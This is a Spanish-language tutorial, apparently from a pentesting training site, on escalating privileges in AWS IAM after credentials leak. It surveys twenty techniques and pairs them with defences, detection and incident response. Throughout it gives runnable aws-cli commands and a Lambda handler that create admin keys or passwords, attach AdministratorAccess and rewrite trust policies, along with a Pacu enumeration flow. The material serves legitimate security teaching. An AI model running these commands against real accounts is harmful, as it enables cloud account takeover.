Aprende › Vulnerabilidades web

IAM en AWS: cómo escalar privilegios cuando caen credenciales

· 10 min de lectura

Cuando un atacante consigue cualquier credencial AWS, lo primero que intenta es escalar. Aprende las 20 técnicas clásicas (iam:CreateAccessKey, PassRole, PolicyVersion, AssumeRole, Lambda, EC2 metadata) y cómo detectarlas y pararlas.

Imagina que un pentester consigue una access key de AWS perdida en un repositorio público de GitHub. La clave corresponde a un usuario con el nombre jenkins-ci. El cliente no sabe quién era Jenkins, pero la clave sigue activa. El atacante la usa, comprueba qué puede hacer y descubre que el usuario tiene permisos aparentemente modestos: solo iam:* sobre sí mismo y acceso a un par de buckets. Diez minutos después, el atacante es administrador de la cuenta completa, con control sobre todas las instancias EC2, bases RDS, buckets S3, funciones Lambda y usuarios IAM del cliente.

Ese salto de «permisos modestos» a administrador total es lo que se llama IAM privilege escalation. AWS tiene cientos de acciones IAM, y basta con que un usuario tenga una combinación concreta para que un atacante pueda convertirlo en algo mucho más potente. Rhino Security Labs catalogó las técnicas clásicas en un paper de 2018 y, desde entonces, cualquier pentest AWS las revisa de cabo a rabo.

En esta lección vas a ver las 20 escaladas más conocidas, cómo se automatizan, y cómo cerrarlas con policies bien diseñadas. Continúa el bloque cloud iniciado en la lección de S3.

Prueba solo en tus propias cuentas AWS o en labs autorizados. Escalar en una cuenta ajena, aunque las credenciales estuvieran públicas, es acceso no autorizado y delito.

Elementos básicos de IAM#

Antes de la escalada, cuatro conceptos:

  • Usuarios IAM: identidades para humanos o scripts, con access keys permanentes (AKIA...).
  • Roles IAM: identidades asumibles temporalmente (AssumeRole), devuelven credenciales efímeras (ASIA...).
  • Policies: JSON con Effect, Action, Resource, Condition. Se adhieren a usuarios, grupos, roles.
  • Policy Versions: cada policy tiene hasta 5 versiones; la «default» es la que aplica.

El principio de menor privilegio en IAM se aplica listando acciones específicas. Cualquier wildcard (iam:*, *) es terreno fértil para escaladas.

Las 20 escaladas clásicas#

Escalada IAM: los caminos más usados desde un usuario con permisos específicos hasta administrador
Escalada IAM: los caminos más usados desde un usuario con permisos específicos hasta administrador

Cada una explota una sola acción o una combinación corta de acciones. Las más limpias:

CreateAccessKey sobre otro usuario#

Permiso: iam:CreateAccessKey

aws iam create-access-key --user-name admin

Te crea una access key fresca del usuario admin. Si lo tienes, eres admin.

CreateLoginProfile#

Permiso: iam:CreateLoginProfile

Añade contraseña de consola a un usuario que no la tenía:

aws iam create-login-profile --user-name admin \
  --password 'P@ssw0rd!' --no-password-reset-required

Entras por la consola web con esa contraseña.

UpdateLoginProfile#

Permiso: iam:UpdateLoginProfile

Igual, pero sobre un usuario que ya tenía login. Le cambias la contraseña:

aws iam update-login-profile --user-name admin \
  --password 'P@ssw0rd!'

AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy#

Permiso: iam:AttachUserPolicy

Adhiere una policy a ti mismo:

aws iam attach-user-policy --user-name current \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

PutUserPolicy / PutGroupPolicy / PutRolePolicy#

Permiso: iam:PutUserPolicy

Inline policy con */*:

aws iam put-user-policy --user-name current \
  --policy-name admin --policy-document \
  '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

CreatePolicyVersion con default#

Permiso: iam:CreatePolicyVersion

Si una policy tiene wildcards de recurso, puedes crearle una nueva versión como default sin tocar la actual:

aws iam create-policy-version \
  --policy-arn arn:aws:iam::123:policy/UnaPolicy \
  --policy-document file://admin.json \
  --set-as-default

La policy ahora concede lo que tu admin.json diga, aunque aparentemente sigue igual.

SetDefaultPolicyVersion#

Permiso: iam:SetDefaultPolicyVersion

Si hay 5 versiones y una vieja tenía permisos más amplios, basta con volver a ella.

PassRole + CreateInstanceProfile + EC2#

Permiso: iam:PassRole + ec2:RunInstances

Lanzas una EC2 con un role de admin y entras por SSH/SSM:

aws ec2 run-instances --image-id ami-xxx --instance-type t2.micro \
  --iam-instance-profile Name=AdminProfile \
  --user-data file://exfil.sh

El user-data ejecuta tu script como root en la instancia nueva con credenciales de admin.

PassRole + Lambda#

Permiso: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction

Creas una Lambda con un role de admin, la invocas:

import boto3
def handler(event, context):
    iam = boto3.client('iam')
    iam.attach_user_policy(UserName='yo', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')

Al ejecutar la Lambda, actúa con permisos del role de admin y te promueve.

PassRole + CloudFormation#

Permiso: iam:PassRole + cloudformation:CreateStack

CloudFormation despliega un stack con un role de admin; el template crea los recursos que quieras.

UpdateAssumeRolePolicy#

Permiso: iam:UpdateAssumeRolePolicy

Modificas la trust policy de un role existente para que tú puedas asumirlo:

aws iam update-assume-role-policy --role-name AdminRole \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123:user/yo"},"Action":"sts:AssumeRole"}]}'

Luego aws sts assume-role y eres admin temporal.

PassExistingRole + Glue, SageMaker, DataPipeline#

Varios servicios AWS aceptan roles al crear jobs. Cualquiera (Glue Dev Endpoints, SageMaker Notebooks, DataPipeline, CodeBuild, CodePipeline) permite escalar si el usuario tiene iam:PassRole y permiso de Create* sobre el servicio.

Más escaladas#

Escaladas menos obvias: trust policies, SCP, service-linked roles, confused deputy, AssumeRole encadenado
Escaladas menos obvias: trust policies, SCP, service-linked roles, confused deputy, AssumeRole encadenado

AddUserToGroup#

Si un grupo tiene admin y tienes iam:AddUserToGroup, te metes en él.

PutRolePermissionsBoundary (eliminar boundary)#

Si un boundary te limitaba, puedes removerlo y volar.

Policy wildcards sobre recursos específicos#

Algunas policies tienen Action: "iam:*", Resource: "*" pero sin condición. Sutil pero devastador.

Cadena sofisticada: creas una Lambda con acceso a VPC, haces SSRF al metadata endpoint de otro recurso, obtienes su role.

CodeBuild con source en S3 controlado#

Permiso: codebuild:StartBuild sobre un project con role de admin, pero source leíble por ti. Modificas el buildspec.yml, el build ejecuta tu código con el role.

Session tokens filtrados#

Credenciales temporales (ASIA...) que acaban en logs. Siguen siendo válidas hasta su expiración.

CloudShell con policies permisivas#

El CloudShell ejecuta con las credenciales del usuario. Si el usuario tiene algo que se puede escalar, el CloudShell lo hace trivial.

AssumeRole encadenado#

A → asume B → asume C → asume admin. Una cadena de roles mal auditada puede tener un eslabón público al final.

Tagging para condition bypass#

Algunas policies dicen Condition: tag:Role == 'admin'. Si puedes tagear recursos (ec2:CreateTags), pones el tag y la policy te deja.

Herramientas que automatizan#

  • Pacu: framework de post-explotación AWS. El módulo iam__privesc_scan revisa los 20 vectores.
  • ScoutSuite: audit defensivo, marca roles y users con rutas de escalada.
  • PMapper: mapea gráficamente los caminos de escalada en tu cuenta.
  • CloudSplaining: análisis estático de policies, detecta las que concitan escalada.
  • Cloudfox: enumeración rápida tras conseguir credenciales.

Un flujo típico tras conseguir credenciales en un pentest:

# Enumeración inicial
aws sts get-caller-identity
aws iam get-account-summary
aws iam list-attached-user-policies --user-name <yo>

# Enumeración masiva con Pacu
pacu
> set_keys <acceso>
> run iam__enum_permissions
> run iam__privesc_scan

Pacu te dice en segundos qué vectores aplican a tu usuario.

Defender IAM#

  • Principio de menor privilegio: nunca wildcards si se puede evitar.
  • Permissions boundaries: limita el techo de un rol aunque la policy conceda más.
  • Service Control Policies (SCP) a nivel de Organization: bloquean acciones en todas las cuentas hijas.
  • Access Analyzer: detecta acceso cross-account y accesos públicos.
  • IAM Access Advisor: elimina permisos que no se usan hace meses.
  • Detectiva: GuardDuty detecta anomalías (uso inusual de API, exfiltración de credenciales), CloudTrail registra todo.
  • Rotación de claves: access keys permanentes caducan cada 90 días; mejor, no usar access keys y moverse a roles con AssumeRole + SSO.
  • No usar usuarios IAM: mover todo a Identity Center (antes AWS SSO) con federación.

Resumen rápido de las 20 vías#

Un mapa de referencia para no confiar en la memoria durante una auditoría:

Permiso claveEscaladaImpacto
iam:CreateAccessKeyClave fresca de otro usuarioTotal
iam:CreateLoginProfilePassword de consolaTotal
iam:UpdateLoginProfileCambiar passwordTotal
iam:AttachUserPolicyAttach AdministratorAccessTotal
iam:PutUserPolicyInline con *Total
iam:CreatePolicyVersionVersion nueva defaultTotal
iam:SetDefaultPolicyVersionVersion vieja ampliaAlto
iam:AttachRolePolicyAttach a role que puedes usarTotal
iam:PutRolePolicyInline a roleTotal
iam:AddUserToGroupGrupo adminTotal
iam:UpdateAssumeRolePolicyTrust para tiTotal
iam:PassRole + ec2:RunInstancesEC2 con role adminTotal
iam:PassRole + lambda:CreateLambda con role adminTotal
iam:PassRole + cloudformationStack con role adminTotal
iam:PassRole + codebuildBuild con role adminTotal
iam:PassRole + glue:CreateDevEndpointNotebook con role adminTotal
iam:PassRole + sagemakerNotebook con role adminTotal
iam:PassRole + datapipelinePipeline con role adminTotal
sts:AssumeRole con targetRol asumible más amplioVariable
secretsmanager:GetSecretValueSecretos con credencialesVariable

Las 15 primeras son un solo permiso o una combinación corta; las últimas son contextuales. Herramientas como Pacu y PMapper las mapean automáticamente contra tu cuenta.

Errores comunes del defensor#

  • Permisos amplios en un usuario de servicio porque «es interno».
  • iam:PassRole sin Condition con aws:ResourceTag/Principal.
  • 5 versiones de policy acumuladas sin limpiar.
  • Access keys permanentes para humanos en vez de SSO.
  • Falta de GuardDuty o CloudTrail con destino protegido.
  • Roles de admin con trust policy AWS: "*" por error de copiar-pegar.

Preguntas frecuentes#

Contra tus propias cuentas sí. Contra terceros solo con contrato de pentest firmado. Pacu deja huella clara en CloudTrail, así que no es «stealth»; es herramienta de auditoría.

¿CloudTrail detecta todas estas escaladas?#

Sí, cada acción IAM queda registrada. El problema es que muchas empresas no leen CloudTrail o no tienen alertas sobre acciones IAM sensibles. GuardDuty añade detección automática.

¿Qué hacer si confirmo que una clave está filtrada?#

  • Desactivarla (aws iam update-access-key --status Inactive).
  • Revisar CloudTrail por acciones de las últimas horas y días.
  • Rotar secretos relacionados.
  • Analizar qué recursos pudo tocar.
  • Si detectas uso malicioso, activar plan de respuesta a incidentes AWS.

¿Los usuarios con solo ReadOnlyAccess pueden escalar?#

No deberían, pero varias escaladas requieren solo lectura de policies/roles para descubrir la ruta. Luego usan permisos de otros servicios para ejecutar. Por eso Access Analyzer es útil incluso con ReadOnly.

¿Dónde practico?#

El laboratorio database de whoami-labs incluye un escenario con credenciales filtradas en un backup y una cadena de escalada basada en PassRole + Lambda. Practicas enumeración con aws-cli, Pacu y el ejercicio de defensa (qué policy habría evitado el problema).

¿Esto aplica a Azure y GCP?#

Los conceptos son los mismos pero el modelo es distinto:

  • Azure AD / Entra ID: escaladas vía Managed Identities, Service Principals, Custom Roles y permisos como Microsoft.Authorization/roleAssignments/write. La herramienta canónica es BloodHound con la ingestor AzureHound.
  • GCP IAM: escaladas vía setIamPolicy, cuentas de servicio con keys en claro, Cloud Functions con roles amplios. Pacu tiene un fork llamado GCPwn.

Las patterns (one-permission-away, PassRole equivalent, trust policy) existen en los tres clouds. Quien domina IAM AWS absorbe Azure y GCP en pocas semanas.

¿Un rol con iam:* y sin boundary es siempre vulnerable?#

Siempre. iam:* sobre sí mismo basta para modificar policies, crear access keys adicionales, cambiar trust policies, y escalar por cualquier vía. En cuentas serias, iam:* se limita a roles de administración explícitos, con MFA condicional y auditoría activa.

¿Qué pasa con las permission boundaries?#

Son el techo que un principal nunca puede sobrepasar aunque sus policies concedan más. Un usuario con iam:* pero boundary de solo lectura no puede escalar: cualquier intento se rechaza. Es la defensa correcta cuando necesitas delegar administración IAM sin dar superpoderes totales. La trampa: si tienes permiso para quitarte el boundary (iam:DeleteUserPermissionsBoundary), vuela toda la restricción, y ese permiso aparece en policies de admin delegado con sorprendente frecuencia por mal diseño inicial de la arquitectura de permisos.

Resumen#

  • Un usuario IAM con una sola acción mal pensada puede escalar a administrador.
  • Las 20 vías clásicas: CreateAccessKey, CreateLoginProfile, AttachUserPolicy, CreatePolicyVersion, PassRole + EC2/Lambda/CloudFormation, UpdateAssumeRolePolicy y variantes.
  • Herramientas: Pacu, PMapper, CloudSplaining, Cloudfox.
  • Defensa: menor privilegio, boundaries, SCP, Access Analyzer, SSO en vez de access keys.
  • CloudTrail registra todo; GuardDuty detecta; falta leerlo.

La lección sobre SSRF a metadata endpoints, que viene a continuación en /aprende, completa el panorama: muchas escaladas reales empiezan con una SSRF en una aplicación, no con una clave filtrada en un repositorio público.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría